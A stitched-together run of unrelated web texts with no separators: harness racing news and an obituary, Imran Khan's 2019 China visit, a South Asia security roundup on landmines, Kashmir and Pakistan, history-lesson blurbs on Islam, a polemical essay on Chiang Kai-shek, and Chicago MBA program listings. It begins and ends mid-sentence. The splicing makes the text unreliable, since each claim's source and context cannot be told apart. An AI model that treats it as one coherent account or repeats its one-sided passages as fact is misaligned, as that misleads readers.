Stratton - Tahnee Camilleri 8. Seaswift Joy N - Jim Marohn Jr. - Tony Alagna Saturday nights card also features the $664,000 George Morton Levy Memorial Pacing Series Final, the $100,000 Levy Series Consolation, the $75,000 Matchmaker Series Consolation, and a $50,000 Open Handicap Trot. First post time is 6:50 p.m. (SOA of NY) Trot Insider has learned that a celebration of life has been arranged for Al Aikin of Angus, Ont., who passed away peacefully on Friday, January 11 at the age of 77 after a long battle with diabetes. Aikin was a longtime harness racing industry participant, most recognized through his operation of the paddock kitchens at both Barrie Raceway and Georgian Downs. Al will be sorely missed by his many friends. A celebration of Al's life will take place on Sunday, May 26 in the main mutuel area at Georgian Downs from 1:00 - 4:00 p.m. Please join Standardbred Canada in offering condolences to the family and friends of Al Aikin. Current Plainridge racing secretary Paul Verrette was named today to that same position for the upcoming harness race meet at Hollywood Gaming Bangor. The 45-date race meet kicks off Tuesday, May 14. A native and current resident of Lee, N.H., Verrette has served as racing secretary at Plainridge Park Casino since 2000. Verrette has prior experience working in the Pine Tree State with a decade-long stint as racing secretary at Scarborough Downs and several Maine fairs. Im excited to return to the state of Maine and take on the challenge of the Bangor racing program. Between the two tracks it will be a busy summer and fall, but we have good support teams at both locations which should make it work smoothly, said Verrette. Im familiar with many of the horsemen racing in Maine and I hope we can coordinate more between our Penn National properties and maybe also introduce some new concepts during the meet, Verrette added. Paul is a tireless worker who is always looking for ways to improve a racing program. Its a good fit to have Paul overseeing the racing offices for both Penn National harness tracks in the region and in the end should strengthen both locations, said Chris McErlean, Vice President of Racing for Penn National Gaming Inc., parent company of both Hollywood Casino Bangor and Plainridge Park Casino. Qualifying races at Bangor will be conducted Tuesday, May 7 and Saturday, May 11. The racing schedule through July 19 will be Tuesday, Wednesday and Friday evenings with a 5 p.m. post time. A special Thursday, July 4 race card will be offered with a 6:30 p.m. post time. After a break in August, the track resumes live racing Sept. 10 for a 16-date fall season ending Nov. 5. (Bangor Raceway) Imran Khan in China on four day visit Prime Minister Imran Khan Thursday arrived in Beijing on a four-day official visit at the invitation of President Xi Jinping to attend the Second Belt and Road Forum and to meet the Chinese leadership. The prime minister is visiting China from April 25 to 28 to attend the forum to be inaugurated by President Xi Jinping on April 26 in Beijing, a PM Office statement said. On his arrival, the prime minister was received by Deputy Secretary-General, Beijing Municipal Committee of CPPCC Li Lifeng, Chinese Ambassador to Pakistan Yao Jing and Ambassador of Pakistan to China Masood Khalid. This is the second visit of the prime minister to China as he had earlier paid a state visit to the neighboring country in November last year. A high level delegation is also accompanying the prime minister comprising Minister for Railways Sheikh Rashid, Minister for Water Resources Faisal Vawda, Advisor on Finance Dr Abdul Hafeez Shaikh, Advisor on Commerce Abdul Razaq Dawood and Chairman Task Force on Science and Technology Dr Atta ur Rehman. I am beginning my visit to China with a resolve to take our all-weather strategic cooperative partnership to newer heights, he said in a statement prior to his departure in Islamabad. He said China is Pakistans closest friend and iron brother and that he looks forward to meet his good friends President Xi and Premier Li for an in-depth exchange of views on all issues of mutual interest. The prime minister said it is a matter of great satisfaction that Pakistan-China bilateral ties are not only based on convergence of interests but are rooted in common experiences of past and high level of mutual trust and understanding. He said the bilateral friendship is ingrained in the hearts and minds of the people that will remain unaffected by any regional and international developments. The prime minister thanked China for its strong support to Pakistans sovereignty and territorial integrity and resolved that Pakistan will continue to stand by China on all issues of its core interest. He strongly endorsed Chinas vision of a peaceful world based on win-win cooperation and community of shared destiny and a new model of development, envisioned in President Xis Belt and Road Initiative. He said China-Pakistan Economic Corridor (CPEC) is a flagship project of BRI that will remain the top priority of his government. In the second phase of CPEC, both the countries are jointly focusing on socio-economic development, job creation, livelihood projects and accelerating cooperation in agriculture and industrial cooperation including special economic zones, he remarked. I am strongly committed to further strengthen Pakistan-China relationship. I am confident that my visit will be instrumental in further expanding the scope and depth of our bilateral ties, he added. According to the Foreign Office, during his visit the prime minister will attend Leaders Roundtable with leaders from around 38 countries. He will speak in the first session of the roundtable. He will hold meetings with several heads of state and government and corporate and business leaders on the sidelines of the forum. His agenda also includes bilateral meetings with President Xi Jinping and Premier Li Keqiang. Pakistan and China will sign several MoUs and agreements to enhance bilateral cooperation in diverse areas. Following the forum, the prime minister will address a Pakistan Business and Investment Forum on April 28 to be attended by prominent Pakistani and Chinese businessmen. Afghanistan continues to lead the world in casualties from landmines and other unexploded weapons. Such losses have been increasing dramatically since 2014 when foreign troops left and the Taliban began a major effort to overthrow the democratic government and replace it with a religious dictatorship that would tax drug gangs rather than planting landmines and other explosives for them. In 2014 there were about 900 mine and explosive device casualties. By 2017 that had more than doubled, to 2,300 and the casualties keep increasing. Nearly half of the victims are children (those under age 18). The mine clearing effort greatly increased after the Taliban were driven from power in 2001. But in the last decade, the Taliban have been increasingly planting more mines themselves and attacking or scaring away mine clearing teams. Until 2006 Afghanistan was making great strides in getting rid of millions of land mines (most of them Russian and Chinese Cold War vintage stuff). In 2001 over 1,600 Afghans a month were being killed or wounded by all these mines but by 2006 the losses were cut in half. Since then the growing use of landmines by the Taliban and drug gangs has increased annual mine casualties to nearly 2,500. By 2006 17 years of demining efforts had cleared nearly a thousand square kilometers mines. At the time that was believed to be 70 percent of the mined areas. Up until 2007 the Taliban and drug gangs tended to leave the deminers alone. But then new minefields began to show up, planted by the Taliban and drug gangs to protect drug (opium and heroin) operations. This happened despite the fact that most Afghans wanted nothing more to do with landmines and just want to see them all gone. Most of the people actually clearing the mines are Afghans, and some have been at it for since the 1990s. Foreign aid groups and governments provide equipment, training and money for salaries and supplies. The biggest supplier of such aid has been the United States. Landmines were outlawed by an international treaty in 1999, but this mainly applied to nations that don't have landmines or don't have any reason to use them. Islamic terrorists, rebels and drug gangs have not signed the international agreement and find the mines a cheap way to control civilian populations and slow down anyone coming after them. It takes more time, money, and effort to remove these mines than to place them. Most countries needing to get rid of mines seek to speed up mine clearing by training local volunteers to be part of the part-time mine clearing teams. The government provides training, pay (usually pretty good by local standards), health and life insurance and other benefits. When a new bunch of mines are found (usually by an animal coming across them), the team gets to work. Despite efforts like this it has not been a promising time for those seeking to enforce the ban on the use of landmines. In the last few years terrorists and rebels in Afghanistan, Colombia, India, Myanmar, Nigeria, Pakistan, Thailand, Yemen and Burma planted landmines (and other explosive devices) while only in Burma does the military still use them. Also, there are eleven countries still manufacturing landmines (China, Cuba, India, Iran, Myanmar, North Korea, Pakistan, Russia, Singapore, South Korea, and Vietnam.) Arms dealers will still provide large quantities of Russian and Chinese landmines, many of them Cold War surplus and not very reliable (because of age). China, Russia, and other communist nations were major producers of landmines during the Cold War. The mines were produced not just for use against potential enemies but to aid in keeping the borders closed and preventing citizens from leaving these unpleasant dictatorships. There is a growing list of outlaw organizations that are ignoring the 1999 Ottawa Convention to ban landmines. The Taliban in Afghanistan and Pakistan are manufacturing landmines in primitive workshops and using them against Pakistani, Afghan, and foreign soldiers, as well as Afghan civilians who refuse to support the Islamic terrorist group. Despite the 1999 treaty, landmines are still causing over 8,000 casualties a year worldwide. About twenty percent of the victims are killed and 90 percent of them are males. This is largely because men are more likely to be out in the bush or working farmlands that still contain mines. A third of the casualties are security personnel (police and soldiers). Afghanistan leads the world in landmine casualties. Most landmine losses these days occur in countries where rebels and criminals are still using landmines, either factory made ones from countries that did not sign the Ottawa Convention or locally made models. Landmines are simple to make and workshops are easily set up to do it. There's no shortage of mines out there, despite the fact that in the first few years after the 1999 Ottawa Convention was signed over 25 million landmines, in the arsenals of over fifty nations, were destroyed. But these nations were not users and rarely sold them either. Those who want landmines find ways to obtain and use them. The Taliban are the latest group to demonstrate this. Leftist rebels in Colombia have been making their own mines for years now, as have Islamic and communist rebels in the Philippines. There are believed to be over 100 million mines still in the ground and at least as many in military warehouses for future use. The 1999 Ottawa Convention was supposed to have reduced land mine casualties among civilians. It hasn't worked because the owners of the largest landmine stockpiles, Russia and China, refused to sign. Chinese land mines are still available on the international arms black market. China is believed to have the largest stockpile, mostly of anti-personnel mines. The old ones are often (but not always) sold before they become worthless. But even these mines, which go for $5-10 each, are too expensive for many of the criminal organizations that buy them. Land mines, competitive with the factory built ones from China, can be built for less than three dollars each. You can find all the technical data you need on the Internet. On the plus side, these locally made anti-personnel mines tend to be less potent than factory made ones and thus the heavy mine boots provide even better protection when the wearer encounters a locally made mine. Anti-vehicle mines are increasingly popular and are particularly common in poor countries where there are still a lot of dirt roads traveled by buses and trucks, carrying dozens of passengers each. While these mines are usually intended for military vehicles, mines can't tell the difference. Just another reason why Afghanistan has the largest number of annual mine casualties in the world. In northwest India (Kashmir), India believes the situation is calming down. For example, violent behavior (civilians throwing rocks at police and violent demonstrations in general) have declined. There were 17 rock-throwing incidents in March compared to 16 in February, 20 in January and 66 in August 2018. There were 18 Kashmiris joining Islamic terror groups during the first three months of 2019 compared to 32 in the same period of 2018 and 23 in 2017. Since 2017 Indian Kashmir has suffered a growth in Islamic terrorist activity and more attention from Indian security forces. One recently noticed trend is the more frequent presence of Chinese weapons and munitions (ammo, grenades and such). Pakistani backed Islamic terrorists in Kashmir have long used Pakistani made weapons and ammo but the increasing use of Chinese gear is something new. The reason is believed to be a Pakistani attempt to hide their involvement by sending the Pakistani trained Islamic terrorists into Indian Kashmir armed with Chinese weapons. These are similar to Pakistani ones and widely available from legal and illegal weapons dealers Indian commanders report that there has been major progress against local Islamic terrorists since the February 14 attack in Kashmir that killed 44 soldiers and police. The terror groups responsible for that attack, JeM (Jaish e Mohammad), has since become the primary target of counter-terror operations. To put that into perspective, so far this year 70 Islamic terrorists have been killed in Kashmir and most (41) were killed after the February 14 attack and 25 of those belonged to JeM. Although JeM has been around since 2000 it only became a major Islamic terrorist threat in the last few years. Because of the February attack, India has launched a major intel and search effort to identify and capture or kill as many key JeM personnel as possible. This soon led to finding JeM cells outside of Kashmir as well. Yet most of the damage to JeM since February has occurred in Kashmir. The JeM leadership has lost key people and apparently no one is willing to take the top job (or at least announce it) because of all the army pressure. Meanwhile, the militant young Moslems of Kashmir have quieted down, which is trend that began a year ago. Older Moslems in Kashmir are more inclined to blame the increased violence on Pakistan, not on Indian oppression. Thats who Pakistani terrorist recruiting concentrates on the young, who have no long experience with Pakistani efforts in Kashmir and the use of Islamic terrorism to fight India. Meanwhile, the violence on the Pakistan border (the LoC or Line of Control) has increased with over 500 ceasefire violations since February. About 20 percent of those incidents involved Pakistani troops firing across the LoC with mortars or artillery (105mm or 122mm) as well as machine-guns and rifles. The Indian troops fire back, which enables Pakistan to accuse the Indians of firing first. But enough of these incidents have been witnessed by neutral (often foreign) observers to confirm that Pakistan is nearly always the aggressor. All this is nothing new. For decades the Pakistani military has been using similar violence against Indian Kashmir to justify their large military budget and claims that India is a military threat. The increased violence in Kashmir has provided more examples of how inadequate many weapons and other items the security forces are equipped with in Kashmir. In the aftermath of several embarrassing incidents where Indian forces were found to be hampered by the lack of modern equipment or poorly trained to use it, the government has provided more freedom for the military to buy new gear, upgrade current equipment and spend more on training. This is called emergency purchase authority and bypassed the usual (and quite complex) purchasing procedures. Politics and bureaucracy has long hampered procurement and how efficiently the defense budget was spent and it is easier to grant emergency powers than try to change the laws or bad habits that have caused all the problems. Elusive ISIL Pakistan has long denied that ISIL (Islamic State in Iraq and the Levant) is operating in Pakistan but that is not quite true. Since 2015 ISIL has carried out eight attacks in Pakistan, all of them inflicting major casualties, most of them civilians. The most recent attack was in April. Despite Pakistani denials, they do have an ISIL presence. This was pretty obvious earlier in 2019. In January police raided an Islamic terrorist hideout in eastern Pakistan (Punjab province) and killed two ISIL members who were known to have participated in the 2011 kidnapping an American in Lahore in 2011. The American hostage was killed in 2015 when a hideout he was being held in along the Afghan border was hit by an American UAV missile strike. The two ISIL men were responsible for other high profile kidnappings as well. Police have not revealed what evidence they may have recovered during this raid or whether it provided any indication of how extensive the ISIL network was in Pakistan. But it does exist but is not very active, for which Pakistan should be grateful. True Confessions The Pakistani prime minister recently (the 22nd) visited Iran and during a press conference admitted that Iranian Baluchi separatists did maintain camps in Pakistan. This was never a secret but Pakistani policy was always to deny it officially. Iran was making an issue of this official denial since those Pakistani based separatists were killing a lot more people in Iran recently. So the Pakistani prime minister told the truth. This caused a huge outcry from Pakistani politicians who accused the prime minister of committing a diplomatic blunder that could hurt Pakistani security. Two days later, back in Pakistan, the prime minister declared that Pakistan would no longer, "be party" to any internal conflict in Afghanistan anymore. This statement was interesting because Pakistan had always maintained that it had nothing to do with the Afghan Taliban and Haqqani Network operations in Afghanistan. It was increasingly obvious that this was not true and Pakistan has been under increasing pressure (from the United States, Afghanistan, India and the UN) to halt such support and the lies that accompany the violence. It has been an open secret since 2002 that Pakistan provided a very visible sanctuary for the Afghan Taliban in southwest Pakistan (Baluchistan), just across the border from Helmand Province, where Afghan drug gangs produce most of the worlds heroin. Afghan security forces regularly catch trucks entering from Pakistan carrying explosives for the Taliban and chemicals needed for the drug gangs to transform opium into heroin. It is also no secret that most of that heroin is smuggled out of Afghanistan via Pakistan and its port of Karachi. This support for heroin and opium production in Afghanistan has created millions of addicts in Afghanistan, Pakistan and Iran. Pakistan blames Afghanistan while the rest of the neighbors blame Pakistan. The new Pakistani prime minister has also taken a different view of CPEC (China-Pakistan Economic Corridor), observing that the terms of the deal are not all that favorable for Pakistan. The previous prime minister is being prosecuted for corruption and some of that apparently involved the terms of the CPEC deal. CPEC is more than an economic investment, it also guarantees that Pakistan has an ally against Iran and even Western powers that might have some violent disagreement with Pakistan. China has played down the ally angle. While China is picking up most of the $55 billion cost, details of the agreement are not very favorable for Pakistan. That was always an issue during negotiations and was one reason why it wasnt until early 2017 that China and Pakistan finally signed the agreement that granted China a 40 year lease on new facilities China is building in the southwestern port of Gwadar. The lease grants China most (over 80 percent) of the revenue brought in by port and free trade zone operations. China usually imports its own workers from China to do most of the work on projects like this. By 2022 China expects to have about half a million Chinese in Pakistan, some of them with their families. All this means China will own this new port into the 2050s and will have imported a new minority (Chinese) into Pakistan that will, as usually happens in these situations, become a major element in the local economy. The easiest way to provide protection for these Chinese is to have most of them live in a heavily guarded and restricted access area. Gwadar is a key part of CPEC and it has the misfortune of being in a province (Baluchistan) that does not want to be part of Pakistan. China and the Pakistanis try to ignore this by not reporting on non-Islamic terror attacks on CPEC construction projects. The government has long been accused of suppressing news of tribal separatists in Baluchistan attacking government targets and especially those related to CPEC. The separatists claim they regularly carry out attacks on CPEC construction projects, but most of their attacks are still directed at Pakistani security forces and government facilities. Pakistan has told China that it wants to review the CPEC deal and how the terms were arrived at. The Chinese are not pleased, but this sort of thing has happened in many other countries that were initially enthusiastic about CPEC until they studied the fine print of the agreement. April 21, 2019: Iran and Pakistan have agreed to form a joint border force to improve security along their common border and ensure that any misunderstandings are quickly worked out. April 19, 2019: In northwest Pakistan (Khyber Pakhtunkhwa), security forces arrested two Pakistani Taliban members who were involved in the kidnapping and murder of American journalist Daniel Pearl in 2002. One of the suspects was soon positively identified as Azim Jan, a commander in the Pakistani Taliban and currently running a terrorist training camp on the Afghan border. In 2002 Azim Jan was already recognized as a capable organizer of kidnappings, especially when the victim was a foreigner. Azim Jan is the last major participant in the Pearl kidnapping and murder that was being sought. April 18, 2019: In southwest Pakistan (Baluchistan), fifteen Baluchi separatists wearing military uniforms ambushed a Pakistani army bus and killed 14 soldiers. Pakistan asked for Iranian help in catching the culprits because Baluchi terrorists from both countries regularly flee across the border to avoid pursuit after an attack like this. April 17, 2019: India has suspended cross border trade in Kashmir after uncovering evidence that Pakistan was using this cross border enterprise, meant to improve the economy in Indian Kashmir, to get cash into Kashmir for Pakistan-backed Islamic terror groups like JeM. April 16, 2019: In northwest Pakistan (Peshawar), security forces killed five Pakistani Taliban gunmen they had cornered in a building. After a 16 hour overnight siege, the five Islamic terrorists were killed. One policeman was killed and two wounded during the operation. Army commandos were brought in for the final assault. April 15, 2019: Russian media revealed that Pakistan is negotiating to make some major (about $9 billion worth) defense purchases from Russia. Currently, China is the largest supplier of military equipment to Pakistan but the Russians are offering better prices for competitive gear including some items where China is not the best source (like military helicopters). Russia has been increasingly willing to make such deals with Pakistan, despite still being a major supplier of weapons to India. That market is slipping away as India increasingly turns to Western suppliers. Pakistan cannot afford the Western stuff and is often facing trouble making purchases because of accusations that Pakistan supports Islamic terrorists. Russia is less concerned about such matters and is willing to be very flexible in order to make a sale. April 14, 2019: American sanctions enforcement officials are pressuring India to crack down on Indian shipping companies who break the law (several laws actually) by having their tankers move Iranian oil to Syria. This is done by shutting off AIS (legally required tracking system) as it approaches Syria, unloading the oil and then leave. The Americans have identified many of the Indian owned tankers doing this sort of thing, including one that ran aground on the Syrian coast and was stuck there for months before tugs could be brought in to pull it off the beach. April 13, 2019: The Indian Army used its new emergency purchase authority to order 240 Israeli Spike MR ATGMs (anti-tank guided missiles) and twelve launchers. The army has long sought these missiles but the usual procurement process failed. Back in late 2017 political pressure caused India to cancel a half billion dollar deal worked out in 2016 for an Israel firm to set up a factory and team with an Indian firm to produce Spike ATGMs. The army has been warning for over a decade that without a new ATGM India would be at a serious disadvantage. But the procurement bureaucracy and DRDO (the Indian Defense Research and Development Organization) said it could develop and build a comparable ATGM in four years. That would be a miracle. No one in the military believed the DRDO but this was not about what DRDO could do but about the incompetence and corruption that has characterized DRDO for decades. DRDO may not be of much use for the military but for Indian politicians, it is a vital part of getting elected and staying in power. DRDO provides jobs and cash for that. Meanwhile, Israel remains a major military supplier for India. Since 2000 Israel provided India help dealing with Islamic terrorists that Pakistan began using aggressively against India in the 1990s. India noted that Israel was a major supplier of military equipment worldwide and was especially good when it came to border security and dealing with Islamic terrorism. The alliance between Israel and India has grown stronger since 2001 and now India is quite open about it. There are more and more signs of shifts in long-established alliances involving Israel. April 12, 2019: In southwest Pakistan (Baluchistan), a suicide bomber attacked a fruit market and killed 20 people. Three Islamic terror groups claimed responsibility, including ISIL, the Pakistani Taliban and LeJ (Lashkar e Jhangvi). But only ISIL released photos and the name of the bomber onto the Internet. ISIL, like the other two claimants, said the attack was done to kill Shia Moslems. In Afghanistan, the Taliban announced the start of their Spring Offensive. Several major attacks followed. While Pakistan encourages the peace talks between the U.S. and the Taliban, Pakistan has not condemned the Afghan Taliban Spring Offensive or any of the major attacks the Afghan Taliban have carried out. April 9, 2019: In eastern India (Chhattisgarh State), a Maoist roadside bomb killed a local politician and his four police escorts. It is election season and the Maoists are trying to disrupt the elections and intimidate candidates. In addition to Chhattisgarh, the nearby states of Bihar and Chhattisgarh are also targets of Maoist disruption. There are nearly 200,000 security personnel assigned to threatened districts in these three states. There are over 10,000 polling places in the three states but only a small percentage are threatened by the Maoists. These anti-voting campaigns have been less effective over the last decade as Maoist capabilities declined. There are fewer deaths and voters who cant make it to their polling places. At this rate, in a few years, the Maoist threat to democracy will be diminished to non-lethal and non-disruptive levels. April 6, 2019: The U.S. has confirmed that all Pakistani F-16s are accounted for and that puts an end to Indian claims that they shot down a Pakistani F-16 in late February. Pakistan always denied it had lost an F-16 but it wasnt until American officials could carry out a count of all those aircraft that Pakistan could claim irrefutable proof. Pakistan insisted it had used a Chinese designed JF-17 to shoot down an Indian MiG-21. Indian radars and electronic intercepts had indicated what appeared to be F-16s rather than JF-17s in the area. The two aircraft are similar in many respects. Currently, the American manufacturer of the F-16 is trying to sell India over a hundred of the latest model F-16, which has been renamed the F-21. In a related matter, it appears that the Indian air raid on a Pakistani terrorists training camp also failed because the Israeli smart bombs were used incorrectly. April 5, 2019: In Pakistan, the military has ordered retired officers to seek permission before appearing on television as military analysts or commentators. ISPR (Inter-Services Public Relations), which handles propaganda and media relations for the military and now controls what retired officers can say. Soon the military announced the names of seven retired officers who were not allowed to appear in Pakistani or foreign media as defense analysts or anything else. At the same time, the military approved 26 retired officers to appear, mainly because these officers tended to follow the official line about that the military and ISI (military intelligence) are doing and why. Those who are banned from media appearances are often banned from leaving the country as well. April 4, 2019: Pakistan has reopened one of the 11 air route Indian air routes use to reach Afghanistan, Iran and points west. Airlines serving Afghanistan have been demanding that the government do something about the continued Pakistani ban on anyone using their air space. Pakistan is apparently planning to gradually reopen these routes. These flight bans have been in place for over a month and have cost Afghanistan, airlines and passengers over $10 million so far. Because of the air battles in Kashmir between Pakistan and India in late February Pakistani airspace has been closed and it is costing Afghanistan a lot of money and costing people flying to or from Afghanistan a lot more cash and time as well. Afghanistan gets a $500 fee for every commercial aircraft that passes through Afghan air space and in a normal month there were over 400 such flights a day. But because of the Pakistani flight restrictions, the Afghan international air overflights are down to 20-30 a day. In the last month alone that has cost Afghanistan over seven million dollars. Flying from Afghanistan to India became more difficult. For the first time Iran allowed Afghan transports to reach India via Iranian air space (to the Indian Ocean and then east to India.) This took a lot longer (and was more expensive in terms of fuel and other operating expenses). Via Pakistan, the flights take 90 minutes. Via Iran, the same flights take 300 minutes. Thus passengers had to pay $300 to fly to India versus the usual rate of $160. The air space closures have no end date because Pakistan called the air space closure indefinite, at least until the Pakistani government changes that. April 1, 2019: Facebook announced that it had removed thousands of accounts and Facebook pages that were operated by Indian and Pakistani Information Warfare operations. These sites for propaganda and promoting fake and misleading news. Over a hundred pages were traced to ISPR, a branch of the Pakistani military. ISPR later denied the accusations even though the Pakistani military often boasts of the success of ISPR operations without providing details. Facebook also shut down many accounts and pages traced to propaganda efforts by two major Indian political parties. This year Facebook has been finding and eliminating thousands of fake accounts and pages set up for Information War purposes and using deception to hide who was actually running these accounts. That has long been banned by Facebook but not, until recently, as energetically investigated and acted on. Other accounts were traced to Indian public relations firms. The Facebook purge is international and has found similar offending accounts pretending to represent users in most nations. March 30, 2019: Chinese customs officials discovered a shipment of 30,000 world maps being exported by a Chinese printer to a foreign customer. The maps were seized and destroyed when it was discovered that the maps showed the northeastern Indian state of Arunachal Pradesh as part of India. China demands that all maps used or produced in China show Arunachal Pradesh as Southern Tibet and part of China. Same with Taiwan, which is also considered another prodigal province. March 28, 2019: India revealed that its photo satellites and media monitoring (Internet chatter analysis) efforts revealed that Pakistan had ordered four Islamic terrorist training camps closed because they were likely targets for further Indian airstrikes. There are at least ten other camps, some of them further away from the Indian border, where specialist training takes place. This includes sniping, bomb building and use of commercial UAVs for terror operations. India also reports that Pakistani ceasefire violations have increased since the February suicide car bombing in Indian Kashmir that killed 44. There have been 634 Pakistani ceasefire violations so far in 2019 compared to 1,629 for all of 2018. March 27, 2019: India became the fourth nation to carry out an ASAT (anti-satellite) mission. India used a 19 ton, three-stage missile for this. The final stage of the missile homed in on and collided with the target, an inactive Indian satellite in a 280 kilometer high orbit. Owners of satellites criticized the Indian test because it put debris into orbit. India pointed out that the debris was minimal and most would eventually enter the atmosphere and burn up. India admitted that there were a lot of large (enough to damage another satellite) fragments created by the test but they would all drift lower and burn up within a few months. So there was some danger but not long enough to be significant. While true it is also the case that the number of large fragments still in orbit keeps growing and that increases the odds that more collisions will occur. The title of caliphate is given to the appointed successors to Mohammed, and so it carries significant responsibility and power. Understand the historical significance of the caliphate in the spread of Islam through the Arab world, northern Africa, and Asia. The Spread of Islam and the Progress of the Caliphates The Umayyad Dynasty was one of the prominent Muslim caliphates established after Mohammed's death. Learn about the first caliphs called the Rightly Guided Caliphs, the rise of the Umayyad Dynasty, its rulers, warfare, and decline, and explore Islam after the death of Mohammed. Beginning in the 7th century, the Middle East established a thriving empire. Learn about Islamic civilization and society by reviewing the effects of the caliphates, agriculture, social structure, and the role of women on the Arab world's development. The Prophet Muhammad founded Islam from visions he received from Allah, which are documented in the Qur'an and helped in the birth of Islam. Learn more about the spread of Islam, its five holy pillars, and the importance of the office of the Caliph. The Muslim empires of the Ottomans, Safavids, and Mughals once housed the strongest economic and militaristic power of the world over any European country but there was a decline of their kingdoms. Learn more on the three gunpowder empires and their downfalls. The Crusades were a period where Europeans tried to take over the Middle East from Islamic control over the course of hundreds of years. Learn about the origins of the Crusades and their legacy in this lesson. The Arabian Peninsula includes different climates, ecosystems, and civilizations. Explore the geography, climate, and ways of life in the Arabian Peninsula and learn about Nabateans and the Hijaz, Arabia Felix, the empty quarter, and the Persian Gulf. In ancient Greece, a city-state, or polis, was the major center of government. Compare the geographies and governments of Mesopotamia, Egypt, and Greece, then explore the Greek city-states' constitutions, acts of colonialism, and fixation on competition. The Mughal Empire: History, Rulers & Decline The Mughal empire thrived in India, founded on Babur's dream of an inclusive society in Northern India. Learn his work, and how his successor Akbar continued the goal of unity between Muslim and Hindu people, until the decline amidst the subsequent rulers caused them to stray from this mission. Muslim Learning: Scientific, Artistic, Medical & Literary Accomplishments From 750 CE until the Mongol invasion in 1258 CE, Muslims experienced the Golden Age of Islam and controlled an empire that spanned from Spain to China. Explore this period to understand Muslim learning and the scientific, artistic, medical, literary, and mathematical accomplishments of Muslims. The Caste System in Early India Indian citizens were organized in a caste system, one where there are levels of hierarchy (castes) dictating individuals' roles and value. Learn of the four major castes and the influence of Buddhism on the social fabric of early India. Chiang Kai Shek and Mao Tse Tung were having political ideas which were opposite to each other. Chiang Kai Shek represented the bourgeois and Mao Tse Tung represented the proletariat class. The bourgeois and the proletariat classes were totally opposite to each other and their interests clashed. The regime of Chiang Kai-shek was started during the bloodshed of the 2nd Chinese revolutions defeat. Hence it was intensely scared and hostile towards the people. Using the Asiatic methods which were the most barbaric, Chiang Kai-sheks regime oppressed the masses and sustained the regime on this exploitation of the people, particularly the peasant masses. As a result of these characteristics of governance, Chiang Kai-sheks regime represented the Orient bourgeoisie. Chiang Kai-shek received support from the imperialist powers, not all of them, but atleast one of them. The regime of Chiang Kai-shek unified all of the reactionary impacts, inclusive of the feudal survivals, to control and suppress the masses. The governance was represented mainly by inefficiency, corruption and consummate Asiatic despotism. In the year 1946, one year after the surrender of Japan, civil war broke out in China between CCP--the Communist forces led by Mao Tse Tung and Chiang Kai Sheks bourgeois KMT because by that time the inefficiency, corruption and tyranny of Chiang Kai-shek had reached its final phase. Chiang Kai-sheks regime had not only isolated itself from the hostile peasant masses, but was also deserted by a major section of the bourgeoisie class who had till then supported the regime and also by the American imperialism. As a result of the support and help received from the masses, especially the peasants and with the aid from Soviet Union, the CCPs army led by Mao Tse Tung created a decisive impact on Chiang Kai Sheks military strategy and apparatus. With the CCP armys victory, Mao declared the creation of the Peoples Republic of China. After the defeat, Chiang Kai Shek fled to Taiwan with the remnants from his Nationalist regime. In Chicago, there are a handful of colleges that offer MBA programs at prices that are more affordable than some of the other options in the area. Check out the tuition rates and program descriptions. University of Illinois at Chicago Tuition for MBA programs at the Liautaud Graduate School of Business is $10,430 per semester (for 12 credit hours or more) for in-state students as of 2019. This school offers a full-time MBA program, a weekend MBA program, and a flexible MBA program, which all require 54 credits. The full-time program can be finished in one year. The weekend MBA program can be finished in two years. The flexible MBA program can be completed in 18 months through a combination of night classes, online classes, and Saturday classes. Some of the topics covered in the MBA programs include social entrepreneurship, executive leadership, and web analytics. Students can select a concentration for their MBA program, such as accounting, international business, or management. Northern Illinois University NIU's College of Business features a Chicago campus where students can earn a one-year MBA for a total program cost of $39,000 as of 2019, which also covers expenses for the required international trip. The MBA program includes access to a professional network, lecture events, and an international field project taking place in Germany and Italy. Also, students can benefit from a personalized plan that is designed to develop a professional business executive. Classes are held during the evening, twice a week. Some of the topics covered in the program include organizational behavior, managerial accounting, and strategic policy. National Louis University Tuition for NLU's MBA programs is $781 per credit hour for the 2018-2019 academic year. The MBA programs in general business administration, entrepreneurship, and nonprofit management program at National Louis University in Chicago prepare students to be professional leaders. These programs are available online. Also, there is a blended format that offers online classes and on-campus workshops. Students in the blended MBA programs meet every other week. Some of the skills that students can strengthen include management, problem solving, communication, teamwork, and ethical responsibility. A Capstone Simulation project is required for graduation. This involves running a company with a team of students. North Park University The School of Business and Nonprofit Management at North Park University charges $2,340 per course as of 2019. This 18-course MBA program trains business professionals to be skillful managers in the public, corporate, and non-profit sectors. Several topics are covered in this program, including economics, strategic management, and finance. In addition to earning an MBA degree, students can add graduate certificates in areas that interest them. There are 16 of these business and nonprofit certificates, which can be earned through elective courses. Also, these certificates don't cost extra. This program is available online and as a hybrid program with online and on-campus classes. Robert Morris University The university's School of Business offers an innovative MBA program that utilizes team teaching and costs $975 per credit hour as of 2019. Every class is taught by two experts in various fields of business administration. The goal is to promote interrelated concepts and skills. A total of 30 credits is required to graduate. This program is available online and on campus. There are specialized certificates that can be completed individually or combined with the MBA degree. These are available in business analytics, supply chain management, and project management. Northwestern University According to its website, the JD/MBA program at Northwestern University was the first dual JD/MBA program in the country. The program is completed in three years of study. Students enrolled in the program take their first year of study at the law school, take business classes that summer, complete their second year of full-time enrollment at the business school, and then complete their studies at the law school. A legal or business internship is expected in the summer after the second year. Experiential learning may include providing consulting for international corporations through the Global Lab. Applicants submit one application directed to the MBA program. They should expect to provide GMAT or GRE scores, undergraduate transcripts, essay responses, a video essay, and recommendations. Interviews will be scheduled after the application is submitted. Loyola University Chicago Students at Loyola Chicago can pursue a JD/MBA. Students will complete the MBA portion with a concentration in business law. Students can gain experience at the law school's Center for Business Law, where they will work directly with clients on transactional issues. Students may apply jointly to each program and separately gain admission or they may apply to one program and the other at a later date. Students who begin with the JD, complete the first year of law studies with a 3.0 GPA and have an LSAT score of at least 158 can skip taking the GMAT normally required for admission to the MBA program. Northern Illinois University Northern Illinois University offers the opportunity to pursue the JD/MBA. The program can be completed in three years and two summers, or in four to five years of study. Joint degree students may be interested in participating in the law school's negotiation competition or participating in an externship. Students should apply separately to the law school and to the business school. Illinois Institute of Technology A dual-degree program between the Illinois Institute of Technology's MBA school and its Chicago-Kent College of Law allows students to complete the JD/MBA in three and a half to four years of study. Students may be interested in the Institute for Compliance, which hosts courses, speakers, and externship opportunities. Students must apply and gain admission to each program. University of Illinois at Urbana-Champlain The University of Illinois provides students the opportunity to pursue the JD/MBA. The course of study is individualized, but students will earn both degrees in a reduced time. Those who are interested in international business law may wish to take advantage of the wide selection of study-abroad programs. Multiple case-competition opportunities are available at the business school. Students must apply separately to each program, and then receive pre-approval to be recognized as 